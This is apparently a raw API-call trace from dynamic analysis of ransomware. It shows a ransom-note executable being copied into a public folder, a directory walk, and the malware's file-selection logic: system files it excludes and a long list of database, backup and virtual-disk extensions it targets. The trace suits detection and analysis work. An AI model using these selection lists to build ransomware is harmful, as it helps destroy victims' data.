	[0038.616] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Recorded TV" | out: lpString1="C:\\Users\\Public\\Recorded TV") returned="C:\\Users\\Public\\Recorded TV"
	[0038.616] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.616] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\recorded tv\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0038.617] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0038.617] GetLastError () returned 0x20
	[0038.617] Sleep (dwMilliseconds=0xc8) 
	[0038.815] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0038.815] GetLastError () returned 0x20
	[0038.815] Sleep (dwMilliseconds=0xc8) 
	[0039.021] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0039.021] GetLastError () returned 0x20
	[0039.021] Sleep (dwMilliseconds=0xc8) 
	[0039.235] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0039.235] GetLastError () returned 0x20
	[0039.235] Sleep (dwMilliseconds=0xc8) 
	[0039.441] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0039.441] GetLastError () returned 0x20
	[0039.441] Sleep (dwMilliseconds=0xc8) 
	[0039.653] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0039.653] GetLastError () returned 0x20
	[0039.653] Sleep (dwMilliseconds=0xc8) 
	[0039.843] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148
	[0039.843] GetLastError () returned 0x0
	[0039.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0039.843] ReadFile (in: hFile=0x148, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0039.843] CloseHandle (hObject=0x148) returned 1
	[0039.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0039.844] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.844] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2d95c050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d95c050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca1d0
	[0039.844] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.844] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.844] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.844] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2d95c050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d95c050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.844] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.844] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.844] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.844] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.844] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0039.844] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.844] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0039.844] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0039.844] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0039.844] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0039.844] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0039.844] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0039.844] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0039.844] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0039.844] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0039.844] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0039.844] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0039.844] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0039.844] lstrlenW (lpString="desktop.ini") returned 11
	[0039.844] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV\\*") returned 29
	[0039.844] lstrcpyW (in: lpString1=0x119e640, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0039.844] lstrlenW (lpString="desktop.ini") returned 11
	[0039.844] lstrlenW (lpString="Apollon865") returned 10
	[0039.844] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0039.844] lstrlenW (lpString=".dll") returned 4
	[0039.845] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0039.845] lstrlenW (lpString=".lnk") returned 4
	[0039.845] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0039.845] lstrlenW (lpString=".ini") returned 4
	[0039.845] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0039.845] lstrlenW (lpString=".sys") returned 4
	[0039.845] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0039.845] lstrlenW (lpString="desktop.ini") returned 11
	[0039.845] lstrlenW (lpString="bak") returned 3
	[0039.845] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0039.845] lstrlenW (lpString="ba_") returned 3
	[0039.845] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0039.845] lstrlenW (lpString="dbb") returned 3
	[0039.845] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0039.845] lstrlenW (lpString="vmdk") returned 4
	[0039.845] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0039.845] lstrlenW (lpString="rar") returned 3
	[0039.845] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0039.845] lstrlenW (lpString="zip") returned 3
	[0039.845] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0039.845] lstrlenW (lpString="tgz") returned 3
	[0039.845] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0039.845] lstrlenW (lpString="vbox") returned 4
	[0039.845] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0039.845] lstrlenW (lpString="vdi") returned 3
	[0039.845] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0039.845] lstrlenW (lpString="vhd") returned 3
	[0039.845] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0039.845] lstrlenW (lpString="vhdx") returned 4
	[0039.845] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0039.845] lstrlenW (lpString="avhd") returned 4
	[0039.845] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0039.845] lstrlenW (lpString="db") returned 2
	[0039.845] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0039.845] lstrlenW (lpString="db2") returned 3
	[0039.845] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0039.845] lstrlenW (lpString="db3") returned 3
	[0039.846] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0039.846] lstrlenW (lpString="dbf") returned 3
	[0039.846] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0039.846] lstrlenW (lpString="mdf") returned 3
	[0039.846] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0039.846] lstrlenW (lpString="mdb") returned 3
	[0039.846] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0039.846] lstrlenW (lpString="sql") returned 3
	[0039.846] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0039.846] lstrlenW (lpString="sqlite") returned 6
	[0039.846] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0039.846] lstrlenW (lpString="sqlite3") returned 7
	[0039.846] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0039.846] lstrlenW (lpString="sqlitedb") returned 8
	[0039.846] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0039.846] lstrlenW (lpString="xml") returned 3
	[0039.846] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0039.846] lstrlenW (lpString="$er") returned 3
	[0039.846] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0039.846] lstrlenW (lpString="4dd") returned 3
	[0039.846] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0039.846] lstrlenW (lpString="4dl") returned 3
	[0039.846] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0039.846] lstrlenW (lpString="^^^") returned 3
	[0039.846] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0039.846] lstrlenW (lpString="abs") returned 3
	[0039.846] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0039.846] lstrlenW (lpString="abx") returned 3
	[0039.846] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0039.846] lstrlenW (lpString="accdb") returned 5
	[0039.846] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0039.846] lstrlenW (lpString="accdc") returned 5
	[0039.846] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0039.846] lstrlenW (lpString="accde") returned 5
	[0039.846] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0039.846] lstrlenW (lpString="accdr") returned 5
	[0039.846] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0039.846] lstrlenW (lpString="accdt") returned 5
	[0039.847] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0039.847] lstrlenW (lpString="accdw") returned 5
	[0039.847] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0039.847] lstrlenW (lpString="accft") returned 5
	[0039.847] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0039.847] lstrlenW (lpString="adb") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0039.847] lstrlenW (lpString="adb") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0039.847] lstrlenW (lpString="ade") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0039.847] lstrlenW (lpString="adf") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0039.847] lstrlenW (lpString="adn") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0039.847] lstrlenW (lpString="adp") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0039.847] lstrlenW (lpString="alf") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0039.847] lstrlenW (lpString="ask") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0039.847] lstrlenW (lpString="btr") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0039.847] lstrlenW (lpString="cat") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0039.847] lstrlenW (lpString="cdb") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0039.847] lstrlenW (lpString="ckp") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0039.847] lstrlenW (lpString="cma") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0039.847] lstrlenW (lpString="cpd") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0039.847] lstrlenW (lpString="dacpac") returned 6
	[0039.847] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0039.847] lstrlenW (lpString="dad") returned 3
	[0039.847] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0039.847] lstrlenW (lpString="dadiagrams") returned 10
	[0039.848] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0039.848] lstrlenW (lpString="daschema") returned 8
	[0039.848] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0039.848] lstrlenW (lpString="db-journal") returned 10
	[0039.848] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0039.848] lstrlenW (lpString="db-shm") returned 6
	[0039.848] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0039.848] lstrlenW (lpString="db-wal") returned 6
	[0039.848] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0039.848] lstrlenW (lpString="dbc") returned 3
	[0039.848] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0039.848] lstrlenW (lpString="dbs") returned 3
	[0039.848] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0039.848] lstrlenW (lpString="dbt") returned 3
	[0039.848] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0039.848] lstrlenW (lpString="dbv") returned 3
	[0039.848] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0039.848] lstrlenW (lpString="dbx") returned 3
	[0039.848] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0039.848] lstrlenW (lpString="dcb") returned 3
	[0039.848] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0039.848] lstrlenW (lpString="dct") returned 3
	[0039.848] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0039.848] lstrlenW (lpString="dcx") returned 3
	[0039.848] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0039.848] lstrlenW (lpString="ddl") returned 3
	[0039.848] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0039.848] lstrlenW (lpString="dlis") returned 4
	[0039.848] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0039.848] lstrlenW (lpString="dp1") returned 3
	[0039.848] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0039.848] lstrlenW (lpString="dqy") returned 3
	[0039.848] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0039.848] lstrlenW (lpString="dsk") returned 3
	[0039.848] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0039.848] lstrlenW (lpString="dsn") returned 3
	[0039.848] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0039.848] lstrlenW (lpString="dtsx") returned 4
	[0039.849] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0039.849] lstrlenW (lpString="dxl") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0039.849] lstrlenW (lpString="eco") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0039.849] lstrlenW (lpString="ecx") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0039.849] lstrlenW (lpString="edb") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0039.849] lstrlenW (lpString="epim") returned 4
	[0039.849] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0039.849] lstrlenW (lpString="fcd") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0039.849] lstrlenW (lpString="fdb") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0039.849] lstrlenW (lpString="fic") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0039.849] lstrlenW (lpString="flexolibrary") returned 12
	[0039.849] lstrlenW (lpString="fm5") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0039.849] lstrlenW (lpString="fmp") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0039.849] lstrlenW (lpString="fmp12") returned 5
	[0039.849] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0039.849] lstrlenW (lpString="fmpsl") returned 5
	[0039.849] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0039.849] lstrlenW (lpString="fol") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0039.849] lstrlenW (lpString="fp3") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0039.849] lstrlenW (lpString="fp4") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0039.849] lstrlenW (lpString="fp5") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0039.849] lstrlenW (lpString="fp7") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0039.849] lstrlenW (lpString="fpt") returned 3
	[0039.849] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0039.850] lstrlenW (lpString="frm") returned 3
	[0039.850] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0039.850] lstrlenW (lpString="gdb") returned 3
	[0039.850] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0039.850] lstrlenW (lpString="gdb") returned 3
	[0039.850] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0039.850] lstrlenW (lpString="grdb") returned 4
	[0039.850] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0039.850] lstrlenW (lpString="gwi") returned 3
	[0039.850] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0039.850] lstrlenW (lpString="hdb") returned 3
	[0039.850] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0039.850] lstrlenW (lpString="his") returned 3
	[0039.850] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0039.850] lstrlenW (lpString="ib") returned 2
	[0039.850] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0039.850] lstrlenW (lpString="idb") returned 3
	[0039.850] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0039.850] lstrlenW (lpString="ihx") returned 3
	[0039.850] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0039.850] lstrlenW (lpString="itdb") returned 4
	[0039.850] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0039.850] lstrlenW (lpString="itw") returned 3
	[0039.850] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0039.850] lstrlenW (lpString="jet") returned 3
	[0039.850] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0039.850] lstrlenW (lpString="jtx") returned 3
	[0039.850] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0039.850] lstrlenW (lpString="kdb") returned 3
	[0039.850] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0039.850] lstrlenW (lpString="kexi") returned 4
	[0039.850] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0039.850] lstrlenW (lpString="kexic") returned 5
	[0039.850] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0039.850] lstrlenW (lpString="kexis") returned 5
	[0039.850] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0039.850] lstrlenW (lpString="lgc") returned 3
	[0039.850] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0039.851] lstrlenW (lpString="lwx") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0039.851] lstrlenW (lpString="maf") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0039.851] lstrlenW (lpString="maq") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0039.851] lstrlenW (lpString="mar") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0039.851] lstrlenW (lpString="marshal") returned 7
	[0039.851] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0039.851] lstrlenW (lpString="mas") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0039.851] lstrlenW (lpString="mav") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0039.851] lstrlenW (lpString="maw") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0039.851] lstrlenW (lpString="mdbhtml") returned 7
	[0039.851] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0039.851] lstrlenW (lpString="mdn") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0039.851] lstrlenW (lpString="mdt") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0039.851] lstrlenW (lpString="mfd") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0039.851] lstrlenW (lpString="mpd") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0039.851] lstrlenW (lpString="mrg") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0039.851] lstrlenW (lpString="mud") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0039.851] lstrlenW (lpString="mwb") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0039.851] lstrlenW (lpString="myd") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0039.851] lstrlenW (lpString="ndf") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0039.851] lstrlenW (lpString="nnt") returned 3
	[0039.851] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0039.852] lstrlenW (lpString="nrmlib") returned 6
	[0039.852] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0039.852] lstrlenW (lpString="ns2") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0039.852] lstrlenW (lpString="ns3") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0039.852] lstrlenW (lpString="ns4") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0039.852] lstrlenW (lpString="nsf") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0039.852] lstrlenW (lpString="nv") returned 2
	[0039.852] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0039.852] lstrlenW (lpString="nv2") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0039.852] lstrlenW (lpString="nwdb") returned 4
	[0039.852] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0039.852] lstrlenW (lpString="nyf") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0039.852] lstrlenW (lpString="odb") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0039.852] lstrlenW (lpString="odb") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0039.852] lstrlenW (lpString="oqy") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0039.852] lstrlenW (lpString="ora") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0039.852] lstrlenW (lpString="orx") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0039.852] lstrlenW (lpString="owc") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0039.852] lstrlenW (lpString="p96") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0039.852] lstrlenW (lpString="p97") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0039.852] lstrlenW (lpString="pan") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0039.852] lstrlenW (lpString="pdb") returned 3
	[0039.852] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0039.853] lstrlenW (lpString="pdm") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0039.853] lstrlenW (lpString="pnz") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0039.853] lstrlenW (lpString="qry") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0039.853] lstrlenW (lpString="qvd") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0039.853] lstrlenW (lpString="rbf") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0039.853] lstrlenW (lpString="rctd") returned 4
	[0039.853] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0039.853] lstrlenW (lpString="rod") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0039.853] lstrlenW (lpString="rodx") returned 4
	[0039.853] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0039.853] lstrlenW (lpString="rpd") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0039.853] lstrlenW (lpString="rsd") returned 3
	[0039.853] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0039.853] lstrlenW (lpString="sas7bdat") returned 8
	[0039.853] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0039.853] lstrlenW (lpString="sbf") returned 3
